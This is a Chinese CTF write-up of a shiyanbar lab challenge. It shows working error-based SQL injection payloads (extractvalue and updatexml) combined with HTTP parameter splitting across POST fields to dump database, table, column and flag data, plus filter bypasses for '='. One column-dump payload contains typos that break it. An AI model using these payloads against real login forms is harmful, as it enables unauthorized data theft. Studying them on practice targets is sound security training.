实验吧——加了料的报错注入-wp

本文深入探讨了SQL注入技术,特别是extractvalue()和updatexml()两种报错注入方法的应用。通过实例演示如何利用这些方法获取数据库信息,包括库名、表名、列名及数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接: http://ctf5.shiyanbar.com/web/baocuo/index.php
在这题试过挺多种方法,最终网上学了两种方法,分别是extractvalue()报错注入和updatexml()报错注入,两种方法感觉都不错,但是两个都会被长度限制,最长是32位。

在这里插入图片描述
有题目可以看出是用post来传递参数,
在这里插入图片描述
构造post参数测试尝试一下直接注入:username=1’ &password= or’1。
fuzz一下,发现extractvalue()和updatexml没有被过滤掉

extractvalue()报错注入

原理:原理:xpath 函数报错注入
记得sql语句吗? where username=’???’ and password=’???’ 而sql语句中可以使用/ * * /注释掉中间的SQL语句。也就是说,我们可以使用 / * * /来解决这个问题,而且/* */也没有被吃掉,这叫做HTTP分割注入。构造语句

username='or extractvalue /*&password=*/(1,concat(0x5c,(select database()))) or'

爆出了库名
在这里插入图片描述
接下来就是要报错出表名,需要注意一点,就是=是被过滤掉了的,可以用in或者regexp代替

username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or'

爆出表名
在这里插入图片描述
然后是字段名(列名)

username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'))) or'

爆出了列名
在这里插入图片描述
getflag

username='or extractvalue/*&password=*/(1,concat(0x5c,(select value from ffll44jj))) or'

在这里插入图片描述

updatexml()报错注入

updatexml()报错注入跟上面的挺像的,就是构造的有点不一样
首先要爆库名:

username=1' and updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or'1

在这里插入图片描述
爆表名

username=1' and updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),3) or'

在这里插入图片描述
爆列名

username=1' and updataxml /*&password=*/(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where !(table_name<>'ffll44jj')),0x7e),3) or'1

在这里插入图片描述
getflag:

username=1' and updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),3) or'1

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值